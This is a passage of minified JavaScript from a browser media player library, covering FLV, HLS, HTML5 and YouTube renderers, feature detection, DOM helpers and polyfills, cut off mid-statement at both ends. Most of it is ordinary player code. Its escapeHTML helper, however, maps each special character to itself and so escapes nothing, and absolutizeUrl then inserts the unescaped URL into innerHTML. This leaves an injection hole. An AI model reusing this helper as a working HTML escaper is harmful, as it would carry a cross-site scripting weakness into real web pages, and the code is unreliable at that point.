e=""+i.substring(0,1).toUpperCase()+i.substring(1);d["get"+e]=function(){return null!==u?d[i]:null},d["set"+e]=function(e){if(-1===b.default.html5media.readOnlyProperties.indexOf(i))if("src"===i){if(d[i]="object"===(void 0===e?"undefined":y(e))&&e.src?e.src:e,null!==u){var t={type:"flv"};t.url=e,t.cors=o.flv.cors,t.debug=o.flv.debug,t.path=o.flv.path;var n=o.flv.configs;u.destroy();for(var r=0,a=c.length;r<a;r++)d.removeEventListener(c[r],f);(u=S._createPlayer({options:t,configs:n,id:s})).attachMediaElement(d),u.load()}}else d[i]=e}},a=0,i=n.length;a<i;a++)r(n[a]);if(E.default["__ready__"+s]=function(e){l.flvPlayer=u=e;for(var t,a=flvjs.Events,n=0,r=c.length;n<r;n++)"loadedmetadata"===(t=c[n])&&(u.unload(),u.detachMediaElement(),u.attachMediaElement(d),u.load()),d.addEventListener(t,f);var i=function(r){a.hasOwnProperty(r)&&u.on(a[r],function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return function(e,t){if("error"===e){var n=t[0]+": "+t[1]+" "+t[2].msg;l.generateError(n,d.src)}else{var r=(0,_.createEvent)(e,l);r.data=t,l.dispatchEvent(r)}}(a[r],t)})};for(var o in a)i(o)},e&&0<e.length)for(var m=0,p=e.length;m<p;m++)if(w.renderer.renderers[o.prefix].canPlayType(e[m].type)){d.setAttribute("src",e[m].src);break}d.setAttribute("id",s),t.parentNode.insertBefore(d,t),t.autoplay=!1,t.style.display="none";var h={type:"flv"};h.url=d.src,h.cors=o.flv.cors,h.debug=o.flv.debug,h.path=o.flv.path;var v=o.flv.configs;d.setSize=function(e,t){return d.style.width=e+"px",d.style.height=t+"px",d},d.hide=function(){return null!==u&&u.pause(),d.style.display="none",d},d.show=function(){return d.style.display="",d},d.destroy=function(){null!==u&&u.destroy()};var g=(0,_.createEvent)("rendererready",d);return l.dispatchEvent(g),l.promises.push(S.load({options:h,configs:v,id:s})),d}};a.typeChecks.push(function(e){return~e.toLowerCase().indexOf(".flv")?"video/flv":null}),w.renderer.add(l)},{16:16,17:17,18:18,19:19,3:3,7:7,8:8}],13:[function(e,t,n){"use strict";var y="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},E=o(e(3)),b=o(e(7)),w=e(8),_=e(18),r=e(16),a=e(19),i=e(17);function o(e){return e&&e.__esModule?e:{default:e}}var S={promise:null,load:function(e){return"undefined"!=typeof Hls?S.promise=new Promise(function(e){e()}).then(function(){S._createPlayer(e)}):(e.options.path="string"==typeof e.options.path?e.options.path:"https://cdn.jsdelivr.net/npm/hls.js@latest",S.promise=S.promise||(0,i.loadScript)(e.options.path),S.promise.then(function(){S._createPlayer(e)})),S.promise},_createPlayer:function(e){var t=new Hls(e.options);return E.default["__ready__"+e.id](t),t}},l={name:"native_hls",options:{prefix:"native_hls",hls:{path:"https://cdn.jsdelivr.net/npm/hls.js@latest",autoStartLoad:!1,debug:!1}},canPlayType:function(e){return r.HAS_MSE&&-1<["application/x-mpegurl","application/vnd.apple.mpegurl","audio/mpegurl","audio/hls","video/hls"].indexOf(e.toLowerCase())},create:function(d,a,u){var e=d.originalNode,i=d.id+"_"+a.prefix,t=e.getAttribute("preload"),n=e.autoplay,c=null,f=null,m=0,p=u.length;f=e.cloneNode(!0),(a=Object.assign(a,d.options)).hls.autoStartLoad=t&&"none"!==t||n;for(var r=b.default.html5media.properties,h=b.default.html5media.events.concat(["click","mouseover","mouseout"]).filter(function(e){return"error"!==e}),v=function(e){var t=(0,_.createEvent)(e.type,d);d.dispatchEvent(t)},o=function(r){var e=""+r.substring(0,1).toUpperCase()+r.substring(1);f["get"+e]=function(){return null!==c?f[r]:null},f["set"+e]=function(e){if(-1===b.default.html5media.readOnlyProperties.indexOf(r))if("src"===r){if(f[r]="object"===(void 0===e?"undefined":y(e))&&e.src?e.src:e,null!==c){c.destroy();for(var t=0,n=h.length;t<n;t++)f.removeEventListener(h[t],v);(c=S._createPlayer({options:a.hls,id:i})).loadSource(e),c.attachMedia(f)}}else f[r]=e}},l=0,s=r.length;l<s;l++)o(r[l]);if(E.default["__ready__"+i]=function(e){d.hlsPlayer=c=e;for(var a=Hls.Events,t=function(e){if("loadedmetadata"===e){var t=d.originalNode.src;c.detachMedia(),c.loadSource(t),c.attachMedia(f)}f.addEventListener(e,v)},n=0,r=h.length;n<r;n++)t(h[n]);var l=void 0,s=void 0,i=function(r){a.hasOwnProperty(r)&&c.on(a[r],function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return function(e,t){if("hlsError"===e&&(console.warn(t),(t=t[1]).fatal))switch(t.type){case"mediaError":var n=(new Date).getTime();if(!l||3e3<n-l)l=(new Date).getTime(),c.recoverMediaError();else if(!s||3e3<n-s)s=(new Date).getTime(),console.warn("Attempting to swap Audio Codec and recover from media error"),c.swapAudioCodec(),c.recoverMediaError();else{var r="Cannot recover, last media error recovery failed";d.generateError(r,f.src),console.error(r)}break;case"networkError":if("manifestLoadError"===t.details)if(m<p&&void 0!==u[m+1])f.setSrc(u[m++].src),f.load(),f.play();else{var a="Network error";d.generateError(a,u),console.error(a)}else{var i="Network error";d.generateError(i,u),console.error(i)}break;default:c.destroy()}else{var o=(0,_.createEvent)(e,d);o.data=t,d.dispatchEvent(o)}}(a[r],t)})};for(var o in a)i(o)},0<p)for(;m<p;m++)if(w.renderer.renderers[a.prefix].canPlayType(u[m].type)){f.setAttribute("src",u[m].src);break}"auto"===t||n||(f.addEventListener("play",function(){null!==c&&c.startLoad()}),f.addEventListener("pause",function(){null!==c&&c.stopLoad()})),f.setAttribute("id",i),e.parentNode.insertBefore(f,e),e.autoplay=!1,e.style.display="none",f.setSize=function(e,t){return f.style.width=e+"px",f.style.height=t+"px",f},f.hide=function(){return f.pause(),f.style.display="none",f},f.show=function(){return f.style.display="",f},f.destroy=function(){null!==c&&(c.stopLoad(),c.destroy())};var g=(0,_.createEvent)("rendererready",f);return d.dispatchEvent(g),d.promises.push(S.load({options:a.hls,id:i})),f}};a.typeChecks.push(function(e){return~e.toLowerCase().indexOf(".m3u8")?"application/x-mpegURL":null}),w.renderer.add(l)},{16:16,17:17,18:18,19:19,3:3,7:7,8:8}],14:[function(e,t,n){"use strict";var r=i(e(3)),g=i(e(2)),y=i(e(7)),E=e(8),b=e(18),a=e(16);function i(e){return e&&e.__esModule?e:{default:e}}var o={name:"html5",options:{prefix:"html5"},canPlayType:function(e){var t=g.default.createElement("video");return a.IS_ANDROID&&/\/mp(3|4)$/i.test(e)||~["application/x-mpegurl","vnd.apple.mpegurl","audio/mpegurl","audio/hls","video/hls"].indexOf(e.toLowerCase())&&a.SUPPORTS_NATIVE_HLS?"yes":t.canPlayType?t.canPlayType(e.toLowerCase()).replace(/no/,""):""},create:function(n,e,t){var r=n.id+"_"+e.prefix,a=!1,i=null;void 0===n.originalNode||null===n.originalNode?(i=g.default.createElement("audio"),n.appendChild(i)):i=n.originalNode,i.setAttribute("id",r);for(var o=y.default.html5media.properties,l=function(t){var e=""+t.substring(0,1).toUpperCase()+t.substring(1);i["get"+e]=function(){return i[t]},i["set"+e]=function(e){-1===y.default.html5media.readOnlyProperties.indexOf(t)&&(i[t]=e)}},s=0,d=o.length;s<d;s++)l(o[s]);for(var u,c=y.default.html5media.events.concat(["click","mouseover","mouseout"]).filter(function(e){return"error"!==e}),f=0,m=c.length;f<m;f++)u=c[f],i.addEventListener(u,function(e){if(a){var t=(0,b.createEvent)(e.type,e.target);n.dispatchEvent(t)}});i.setSize=function(e,t){return i.style.width=e+"px",i.style.height=t+"px",i},i.hide=function(){return a=!1,i.style.display="none",i},i.show=function(){return a=!0,i.style.display="",i};var p=0,h=t.length;if(0<h)for(;p<h;p++)if(E.renderer.renderers[e.prefix].canPlayType(t[p].type)){i.setAttribute("src",t[p].src);break}i.addEventListener("error",function(e){e&&e.target&&e.target.error&&4===e.target.error.code&&a&&(p<h&&void 0!==t[p+1]?(i.src=t[p++].src,i.load(),i.play()):n.generateError("Media error: Format(s) not supported or source(s) not found",t))});var v=(0,b.createEvent)("rendererready",i);return n.dispatchEvent(v),i}};r.default.HtmlMediaElement=y.default.HtmlMediaElement=o,E.renderer.add(o)},{16:16,18:18,2:2,3:3,7:7,8:8}],15:[function(e,t,n){"use strict";var S=o(e(3)),N=o(e(2)),j=o(e(7)),r=e(8),A=e(18),a=e(19),i=e(17);function o(e){return e&&e.__esModule?e:{default:e}}var T={isIframeStarted:!1,isIframeLoaded:!1,iframeQueue:[],enqueueIframe:function(e){T.isLoaded="undefined"!=typeof YT&&YT.loaded,T.isLoaded?T.createIframe(e):(T.loadIframeApi(),T.iframeQueue.push(e))},loadIframeApi:function(){T.isIframeStarted||((0,i.loadScript)("https://www.youtube.com/player_api"),T.isIframeStarted=!0)},iFrameReady:function(){for(T.isLoaded=!0,T.isIframeLoaded=!0;0<T.iframeQueue.length;){var e=T.iframeQueue.pop();T.createIframe(e)}},createIframe:function(e){return new YT.Player(e.containerId,e)},getYouTubeId:function(e){var t="";return 0<e.indexOf("?")?""===(t=T.getYouTubeIdFromParam(e))&&(t=T.getYouTubeIdFromUrl(e)):t=T.getYouTubeIdFromUrl(e),(t=t.substring(t.lastIndexOf("/")+1).split("?"))[0]},getYouTubeIdFromParam:function(e){if(null==e||!e.trim().length)return null;for(var t=e.split("?")[1].split("&"),n="",r=0,a=t.length;r<a;r++){var i=t[r].split("=");if("v"===i[0]){n=i[1];break}}return n},getYouTubeIdFromUrl:function(e){return null!=e&&e.trim().length?(e=e.split("?")[0]).substring(e.lastIndexOf("/")+1):null},getYouTubeNoCookieUrl:function(e){if(null==e||!e.trim().length||-1===e.indexOf("//www.youtube"))return e;var t=e.split("/");return t[2]=t[2].replace(".com","-nocookie.com"),t.join("/")}},l={name:"youtube_iframe",options:{prefix:"youtube_iframe",youtube:{autoplay:0,controls:0,disablekb:1,end:0,loop:0,modestbranding:0,playsinline:0,rel:0,showinfo:0,start:0,iv_load_policy:3,nocookie:!1,imageQuality:null}},canPlayType:function(e){return~["video/youtube","video/x-youtube"].indexOf(e.toLowerCase())},create:function(p,n,r){var h={},v=[],g=null,i=!0,o=!1,y=null;h.options=n,h.id=p.id+"_"+n.prefix,h.mediaElement=p;for(var e=j.default.html5media.properties,t=function(a){var e=""+a.substring(0,1).toUpperCase()+a.substring(1);h["get"+e]=function(){if(null!==g){switch(a){case"currentTime":return g.getCurrentTime();case"duration":return g.getDuration();case"volume":return g.getVolume()/100;case"playbackRate":return g.getPlaybackRate();case"paused":return i;case"ended":return o;case"muted":return g.isMuted();case"buffered":var e=g.getVideoLoadedFraction(),t=g.getDuration();return{start:function(){return 0},end:function(){return e*t},length:1};case"src":return g.getVideoUrl();case"readyState":return 4}return null}return null},h["set"+e]=function(e){if(null!==g)switch(a){case"src":var t="string"==typeof e?e:e[0].src,n=T.getYouTubeId(t);p.originalNode.autoplay?g.loadVideoById(n):g.cueVideoById(n);break;case"currentTime":g.seekTo(e);break;case"muted":e?g.mute():g.unMute(),setTimeout(function(){var e=(0,A.createEvent)("volumechange",h);p.dispatchEvent(e)},50);break;case"volume":e,g.setVolume(100*e),setTimeout(function(){var e=(0,A.createEvent)("volumechange",h);p.dispatchEvent(e)},50);break;case"playbackRate":g.setPlaybackRate(e),setTimeout(function(){var e=(0,A.createEvent)("ratechange",h);p.dispatchEvent(e)},50);break;case"readyState":var r=(0,A.createEvent)("canplay",h);p.dispatchEvent(r)}else v.push({type:"set",propName:a,value:e})}},a=0,l=e.length;a<l;a++)t(e[a]);for(var s=j.default.html5media.methods,d=function(e){h[e]=function(){if(null!==g)switch(e){case"play":return i=!1,g.playVideo();case"pause":return i=!0,g.pauseVideo();case"load":return null}else v.push({type:"call",methodName:e})}},u=0,c=s.length;u<c;u++)d(s[u]);var f=N.default.createElement("div");f.id=h.id,h.options.youtube.nocookie&&(p.originalNode.src=T.getYouTubeNoCookieUrl(r[0].src)),p.originalNode.parentNode.insertBefore(f,p.originalNode),p.originalNode.style.display="none";var m="audio"===p.originalNode.tagName.toLowerCase(),E=m?"1":p.originalNode.height,b=m?"1":p.originalNode.width,w=T.getYouTubeId(r[0].src),_={id:h.id,containerId:f.id,videoId:w,height:E,width:b,host:h.options.youtube&&h.options.youtube.nocookie?"https://www.youtube-nocookie.com":void 0,playerVars:Object.assign({controls:0,rel:0,disablekb:1,showinfo:0,modestbranding:0,html5:1,iv_load_policy:3},h.options.youtube),origin:S.default.location.host,events:{onReady:function(e){if(p.youTubeApi=g=e.target,p.youTubeState={paused:!0,ended:!1},v.length)for(var t=0,n=v.length;t<n;t++){var r=v[t];if("set"===r.type){var a=r.propName,i=""+a.substring(0,1).toUpperCase()+a.substring(1);h["set"+i](r.value)}else"call"===r.type&&h[r.methodName]()}y=g.getIframe(),p.originalNode.muted&&g.mute();for(var o=["mouseover","mouseout"],l=function(e){var t=(0,A.createEvent)(e.type,h);p.dispatchEvent(t)},s=0,d=o.length;s<d;s++)y.addEventListener(o[s],l,!1);for(var u=["rendererready","loadedmetadata","loadeddata","canplay"],c=0,f=u.length;c<f;c++){var m=(0,A.createEvent)(u[c],h);p.dispatchEvent(m)}},onStateChange:function(e){var t=[];switch(e.data){case-1:t=["loadedmetadata"],i=!0,o=!1;break;case 0:t=["ended"],i=!1,o=!h.options.youtube.loop,h.options.youtube.loop||h.stopInterval();break;case 1:t=["play","playing"],o=i=!1,h.startInterval();break;case 2:t=["pause"],i=!0,o=!1,h.stopInterval();break;case 3:t=["progress"],o=!1;break;case 5:t=["loadeddata","loadedmetadata","canplay"],i=!0,o=!1}for(var n=0,r=t.length;n<r;n++){var a=(0,A.createEvent)(t[n],h);p.dispatchEvent(a)}},onError:function(e){return function(e){var t="";switch(e.data){case 2:t="The request contains an invalid parameter value. Verify that video ID has 11 characters and that contains no invalid characters, such as exclamation points or asterisks.";break;case 5:t="The requested content cannot be played in an HTML5 player or another error related to the HTML5 player has occurred.";break;case 100:t="The video requested was not found. Either video has been removed or has been marked as private.";break;case 101:case 105:t="The owner of the requested video does not allow it to be played in embedded players.";break;default:t="Unknown error."}p.generateError("Code "+e.data+": "+t,r)}(e)}}};return(m||p.originalNode.hasAttribute("playsinline"))&&(_.playerVars.playsinline=1),p.originalNode.controls&&(_.playerVars.controls=1),p.originalNode.autoplay&&(_.playerVars.autoplay=1),p.originalNode.loop&&(_.playerVars.loop=1),(_.playerVars.loop&&1===parseInt(_.playerVars.loop,10)||-1<p.originalNode.src.indexOf("loop="))&&!_.playerVars.playlist&&-1===p.originalNode.src.indexOf("playlist=")&&(_.playerVars.playlist=T.getYouTubeId(p.originalNode.src)),T.enqueueIframe(_),h.onEvent=function(e,t,n){null!=n&&(p.youTubeState=n)},h.setSize=function(e,t){null!==g&&g.setSize(e,t)},h.hide=function(){h.stopInterval(),h.pause(),y&&(y.style.display="none")},h.show=function(){y&&(y.style.display="")},h.destroy=function(){g.destroy()},h.interval=null,h.startInterval=function(){h.interval=setInterval(function(){var e=(0,A.createEvent)("timeupdate",h);p.dispatchEvent(e)},250)},h.stopInterval=function(){h.interval&&clearInterval(h.interval)},h.getPosterUrl=function(){var e=n.youtube.imageQuality,t=T.getYouTubeId(p.originalNode.src);return e&&-1<["default","hqdefault","mqdefault","sddefault","maxresdefault"].indexOf(e)&&t?"https://img.youtube.com/vi/"+t+"/"+e+".jpg":""},h}};S.default.onYouTubePlayerAPIReady=function(){T.iFrameReady()},a.typeChecks.push(function(e){return/\/\/(www\.youtube|youtu\.?be)/i.test(e)?"video/x-youtube":null}),r.renderer.add(l)},{17:17,18:18,19:19,2:2,3:3,7:7,8:8}],16:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.cancelFullScreen=n.requestFullScreen=n.isFullScreen=n.FULLSCREEN_EVENT_NAME=n.HAS_NATIVE_FULLSCREEN_ENABLED=n.HAS_TRUE_NATIVE_FULLSCREEN=n.HAS_IOS_FULLSCREEN=n.HAS_MS_NATIVE_FULLSCREEN=n.HAS_MOZ_NATIVE_FULLSCREEN=n.HAS_WEBKIT_NATIVE_FULLSCREEN=n.HAS_NATIVE_FULLSCREEN=n.SUPPORTS_NATIVE_HLS=n.SUPPORT_PASSIVE_EVENT=n.SUPPORT_POINTER_EVENTS=n.HAS_MSE=n.IS_STOCK_ANDROID=n.IS_SAFARI=n.IS_FIREFOX=n.IS_CHROME=n.IS_EDGE=n.IS_IE=n.IS_ANDROID=n.IS_IOS=n.IS_IPOD=n.IS_IPHONE=n.IS_IPAD=n.UA=n.NAV=void 0;var a=o(e(3)),i=o(e(2)),r=o(e(7));function o(e){return e&&e.__esModule?e:{default:e}}for(var l=n.NAV=a.default.navigator,s=n.UA=l.userAgent.toLowerCase(),d=n.IS_IPAD=/ipad/i.test(s)&&!a.default.MSStream,u=n.IS_IPHONE=/iphone/i.test(s)&&!a.default.MSStream,c=n.IS_IPOD=/ipod/i.test(s)&&!a.default.MSStream,f=(n.IS_IOS=/ipad|iphone|ipod/i.test(s)&&!a.default.MSStream,n.IS_ANDROID=/android/i.test(s)),m=n.IS_IE=/(trident|microsoft)/i.test(l.appName),p=(n.IS_EDGE="msLaunchUri"in l&&!("documentMode"in i.default)),h=n.IS_CHROME=/chrome/i.test(s),v=n.IS_FIREFOX=/firefox/i.test(s),g=n.IS_SAFARI=/safari/i.test(s)&&!h,y=n.IS_STOCK_ANDROID=/^mozilla\/\d+\.\d+\s\(linux;\su;/i.test(s),E=(n.HAS_MSE="MediaSource"in a.default),b=n.SUPPORT_POINTER_EVENTS=function(){var e=i.default.createElement("x"),t=i.default.documentElement,n=a.default.getComputedStyle;if(!("pointerEvents"in e.style))return!1;e.style.pointerEvents="auto",e.style.pointerEvents="x",t.appendChild(e);var r=n&&"auto"===(n(e,"")||{}).pointerEvents;return e.remove(),!!r}(),w=n.SUPPORT_PASSIVE_EVENT=function(){var e=!1;try{var t=Object.defineProperty({},"passive",{get:function(){e=!0}});a.default.addEventListener("test",null,t)}catch(e){}return e}(),_=["source","track","audio","video"],S=void 0,N=0,j=_.length;N<j;N++)S=i.default.createElement(_[N]);var A=n.SUPPORTS_NATIVE_HLS=g||m&&/edge/i.test(s),T=void 0!==S.webkitEnterFullscreen,F=void 0!==S.requestFullscreen;T&&/mac os x 10_5/i.test(s)&&(T=F=!1);var P=void 0!==S.webkitRequestFullScreen,x=void 0!==S.mozRequestFullScreen,L=void 0!==S.msRequestFullscreen,O=P||x||L,C=O,I="",k=void 0,U=void 0,M=void 0;x?C=i.default.mozFullScreenEnabled:L&&(C=i.default.msFullscreenEnabled),h&&(T=!1),O&&(P?I="webkitfullscreenchange":x?I="fullscreenchange":L&&(I="MSFullscreenChange"),n.isFullScreen=k=function(){return x?i.default.mozFullScreen:P?i.default.webkitIsFullScreen:L?null!==i.default.msFullscreenElement:void 0},n.requestFullScreen=U=function(e){P?e.webkitRequestFullScreen():x?e.mozRequestFullScreen():L&&e.msRequestFullscreen()},n.cancelFullScreen=M=function(){P?i.default.webkitCancelFullScreen():x?i.default.mozCancelFullScreen():L&&i.default.msExitFullscreen()});var R=n.HAS_NATIVE_FULLSCREEN=F,V=n.HAS_WEBKIT_NATIVE_FULLSCREEN=P,D=n.HAS_MOZ_NATIVE_FULLSCREEN=x,H=n.HAS_MS_NATIVE_FULLSCREEN=L,q=n.HAS_IOS_FULLSCREEN=T,z=n.HAS_TRUE_NATIVE_FULLSCREEN=O,B=n.HAS_NATIVE_FULLSCREEN_ENABLED=C,Y=n.FULLSCREEN_EVENT_NAME=I;n.isFullScreen=k,n.requestFullScreen=U,n.cancelFullScreen=M,r.default.Features=r.default.Features||{},r.default.Features.isiPad=d,r.default.Features.isiPod=c,r.default.Features.isiPhone=u,r.default.Features.isiOS=r.default.Features.isiPhone||r.default.Features.isiPad,r.default.Features.isAndroid=f,r.default.Features.isIE=m,r.default.Features.isEdge=p,r.default.Features.isChrome=h,r.default.Features.isFirefox=v,r.default.Features.isSafari=g,r.default.Features.isStockAndroid=y,r.default.Features.hasMSE=E,r.default.Features.supportsNativeHLS=A,r.default.Features.supportsPointerEvents=b,r.default.Features.supportsPassiveEvent=w,r.default.Features.hasiOSFullScreen=q,r.default.Features.hasNativeFullscreen=R,r.default.Features.hasWebkitNativeFullScreen=V,r.default.Features.hasMozNativeFullScreen=D,r.default.Features.hasMsNativeFullScreen=H,r.default.Features.hasTrueNativeFullScreen=z,r.default.Features.nativeFullScreenEnabled=B,r.default.Features.fullScreenEventName=Y,r.default.Features.isFullScreen=k,r.default.Features.requestFullScreen=U,r.default.Features.cancelFullScreen=M},{2:2,3:3,7:7}],17:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.removeClass=n.addClass=n.hasClass=void 0,n.loadScript=o,n.offset=l,n.toggleClass=h,n.fadeOut=v,n.fadeIn=g,n.siblings=y,n.visible=E,n.ajax=b;var s=i(e(3)),a=i(e(2)),r=i(e(7));function i(e){return e&&e.__esModule?e:{default:e}}function o(r){return new Promise(function(e,t){var n=a.default.createElement("script");n.src=r,n.async=!0,n.onload=function(){n.remove(),e()},n.onerror=function(){n.remove(),t()},a.default.head.appendChild(n)})}function l(e){var t=e.getBoundingClientRect(),n=s.default.pageXOffset||a.default.documentElement.scrollLeft,r=s.default.pageYOffset||a.default.documentElement.scrollTop;return{top:t.top+r,left:t.left+n}}var d=void 0,u=void 0,c=void 0;"classList"in a.default.documentElement?(d=function(e,t){return void 0!==e.classList&&e.classList.contains(t)},u=function(e,t){return e.classList.add(t)},c=function(e,t){return e.classList.remove(t)}):(d=function(e,t){return new RegExp("\\b"+t+"\\b").test(e.className)},u=function(e,t){f(e,t)||(e.className+=" "+t)},c=function(e,t){e.className=e.className.replace(new RegExp("\\b"+t+"\\b","g"),"")});var f=n.hasClass=d,m=n.addClass=u,p=n.removeClass=c;function h(e,t){f(e,t)?p(e,t):m(e,t)}function v(a){var i=1<arguments.length&&void 0!==arguments[1]?arguments[1]:400,o=arguments[2];a.style.opacity||(a.style.opacity=1);var l=null;s.default.requestAnimationFrame(function e(t){var n=t-(l=l||t),r=parseFloat(1-n/i,2);a.style.opacity=r<0?0:r,i<n?o&&"function"==typeof o&&o():s.default.requestAnimationFrame(e)})}function g(a){var i=1<arguments.length&&void 0!==arguments[1]?arguments[1]:400,o=arguments[2];a.style.opacity||(a.style.opacity=0);var l=null;s.default.requestAnimationFrame(function e(t){var n=t-(l=l||t),r=parseFloat(n/i,2);a.style.opacity=1<r?1:r,i<n?o&&"function"==typeof o&&o():s.default.requestAnimationFrame(e)})}function y(e,t){var n=[];for(e=e.parentNode.firstChild;t&&!t(e)||n.push(e),e=e.nextSibling;);return n}function E(e){return void 0!==e.getClientRects&&"function"===e.getClientRects?!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length):!(!e.offsetWidth&&!e.offsetHeight)}function b(e,t,n,r){var a=s.default.XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP"),i="application/x-www-form-urlencoded; charset=UTF-8",o=!1,l="*/".concat("*");switch(t){case"text":i="text/plain";break;case"json":i="application/json, text/javascript";break;case"html":i="text/html";break;case"xml":i="application/xml, text/xml"}"application/x-www-form-urlencoded"!==i&&(l=i+", */*; q=0.01"),a&&(a.open("GET",e,!0),a.setRequestHeader("Accept",l),a.onreadystatechange=function(){if(!o&&4===a.readyState)if(200===a.status){o=!0;var e=void 0;switch(t){case"json":e=JSON.parse(a.responseText);break;case"xml":e=a.responseXML;break;default:e=a.responseText}n(e)}else"function"==typeof r&&r(a.status)},a.send())}r.default.Utils=r.default.Utils||{},r.default.Utils.offset=l,r.default.Utils.hasClass=f,r.default.Utils.addClass=m,r.default.Utils.removeClass=p,r.default.Utils.toggleClass=h,r.default.Utils.fadeIn=g,r.default.Utils.fadeOut=v,r.default.Utils.siblings=y,r.default.Utils.visible=E,r.default.Utils.ajax=b,r.default.Utils.loadScript=o},{2:2,3:3,7:7}],18:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.escapeHTML=o,n.debounce=l,n.isObjectEmpty=s,n.splitEvents=d,n.createEvent=u,n.isNodeAfter=c,n.isString=f;var r,a=e(7),i=(r=a)&&r.__esModule?r:{default:r};function o(e){if("string"!=typeof e)throw new Error("Argument passed must be a string");var t={"&":"&","<":"<",">":">",'"':"""};return e.replace(/[&<>"]/g,function(e){return t[e]})}function l(r,a){var i=this,o=arguments,l=2<arguments.length&&void 0!==arguments[2]&&arguments[2];if("function"!=typeof r)throw new Error("First argument must be a function");if("number"!=typeof a)throw new Error("Second argument must be a numeric value");var s=void 0;return function(){var e=i,t=o,n=l&&!s;clearTimeout(s),s=setTimeout(function(){s=null,l||r.apply(e,t)},a),n&&r.apply(e,t)}}function s(e){return Object.getOwnPropertyNames(e).length<=0}function d(e,n){var r=/^((after|before)print|(before)?unload|hashchange|message|o(ff|n)line|page(hide|show)|popstate|resize|storage)\b/,a={d:[],w:[]};return(e||"").split(" ").forEach(function(e){var t=e+(n?"."+n:"");t.startsWith(".")?(a.d.push(t),a.w.push(t)):a[r.test(e)?"w":"d"].push(t)}),a.d=a.d.join(" "),a.w=a.w.join(" "),a}function u(e,t){if("string"!=typeof e)throw new Error("Event name must be a string");var n=e.match(/([a-z]+\.([a-z]+))/i),r={target:t};return null!==n&&(e=n[1],r.namespace=n[2]),new window.CustomEvent(e,{detail:r})}function c(e,t){return!!(e&&t&&2&e.compareDocumentPosition(t))}function f(e){return"string"==typeof e}i.default.Utils=i.default.Utils||{},i.default.Utils.escapeHTML=o,i.default.Utils.debounce=l,i.default.Utils.isObjectEmpty=s,i.default.Utils.splitEvents=d,i.default.Utils.createEvent=u,i.default.Utils.isNodeAfter=c,i.default.Utils.isString=f},{7:7}],19:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.typeChecks=void 0,n.absolutizeUrl=s,n.formatType=d,n.getMimeFromType=u,n.getTypeFromFile=c,n.getExtension=f,n.normalizeExtension=m;var r,a=e(7),i=(r=a)&&r.__esModule?r:{default:r},o=e(18);var l=n.typeChecks=[];function s(e){if("string"!=typeof e)throw new Error("`url` argument must be a string");var t=document.createElement("div");return t.innerHTML='<a href="'+(0,o.escapeHTML)(e)+'">x</a>',t.firstChild.href}function d(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:"";return e&&!t?c(e):t}function u(e){if("string"!=typeof e)throw new Error("`type` argument must be a string");return e&&-1<e.indexOf(";")?e.substr(0,e.indexOf(";")):e}function c(e){if("string"!=typeof e)throw new Error("`url` argument must be a string");for(var t=0,n=l.length;t<n;t++){var r=l[t](e);if(r)return r}var a=m(f(e)),i="video/mp4";return a&&(~["mp4","m4v","ogg","ogv","webm","flv","mpeg"].indexOf(a)?i="video/"+a:"mov"===a?i="video/quicktime":~["mp3","oga","wav","mid","midi"].indexOf(a)&&(i="audio/"+a)),i}function f(e){if("string"!=typeof e)throw new Error("`url` argument must be a string");var t=e.split("?")[0].split("\\").pop().split("/").pop();return~t.indexOf(".")?t.substring(t.lastIndexOf(".")+1):""}function m(e){if("string"!=typeof e)throw new Error("`extension` argument must be a string");switch(e){case"mp4":case"m4v":return"mp4";case"webm":case"webma":case"webmv":return"webm";case"ogg":case"oga":case"ogv":return"ogg";default:return e}}i.default.Utils=i.default.Utils||{},i.default.Utils.typeChecks=l,i.default.Utils.absolutizeUrl=s,i.default.Utils.formatType=d,i.default.Utils.getMimeFromType=u,i.default.Utils.getTypeFromFile=c,i.default.Utils.getExtension=f,i.default.Utils.normalizeExtension=m},{18:18,7:7}],20:[function(e,t,n){"use strict";var r,a=o(e(2)),i=o(e(4));function o(e){return e&&e.__esModule?e:{default:e}}if([Element.prototype,CharacterData.prototype,DocumentType.prototype].forEach(function(e){e.hasOwnProperty("remove")||Object.defineProperty(e,"remove",{configurable:!0,enumerable:!0,writable:!0,value:function(){this.parentNode.removeChild(this)}})}),function(){if("function"==typeof window.CustomEvent)return;function e(e,t){t=t||{bubbles:!1,cancelable:!1,detail:void 0};var n=a.default.createEvent("CustomEvent");return n.initCustomEvent(e,t.bubbles,t.cancelable,t.detail),n}e.prototype=window.Event.prototype,window.CustomEvent=e}(),"function"!=typeof Object.assign&&(Object.assign=function(e){if(null==e)throw new TypeError("Cannot convert undefined or null to object");for(var t=Object(e),n=1,r=arguments.length;n<r;n++){var a=arguments[n];if(null!==a)for(var i in a)Object.prototype.hasOwnProperty.call(a,i)&&(t[i]=a[i])}return t}),String.prototype.startsWith||(String.prototype.startsWith=function(e,t){return t=t||0,this.substr(t,e.length)===e}),Element.prototype.matches||(Element.prototype.matches=Element.prototype.matchesSelector||Element.prototype.mozMatchesSelector||Element.prototype.msMatchesSelector||Element.prototype.oMatchesSelector||Element.prototype.webkitMatchesSelector||function(e){for(var t=(this.document||this.ownerDocument).querySelectorAll(e),n=t.length-1;0<=--n&&t.item(n)!==this;);return-1<n}),window.Element&&!Element.prototype.closest&&(Element.prototype.closest=function(e){var t=(this.document||this.ownerDocument).querySelectorAll(e),n=void 0,r=this;do{for(n=t.length;0<=--n&&t.item(n)!==r;);}while(n<0&&(r=r.parentElement));return r}),function(){for(var a=0,e=["ms","moz","webkit","o"],t=0;t<e.length&&!window.requestAnimationFrame;++t)window.requestAnimationFrame=window[e[t]+"RequestAnimationFrame"],window.cancelAnimationFrame=window[e[t]+"CancelAnimationFrame"]||window[e[t]+"CancelRequestAnimationFrame"];window.requestAnimationFrame||(window.requestAnimationFrame=function(e){var t=(new 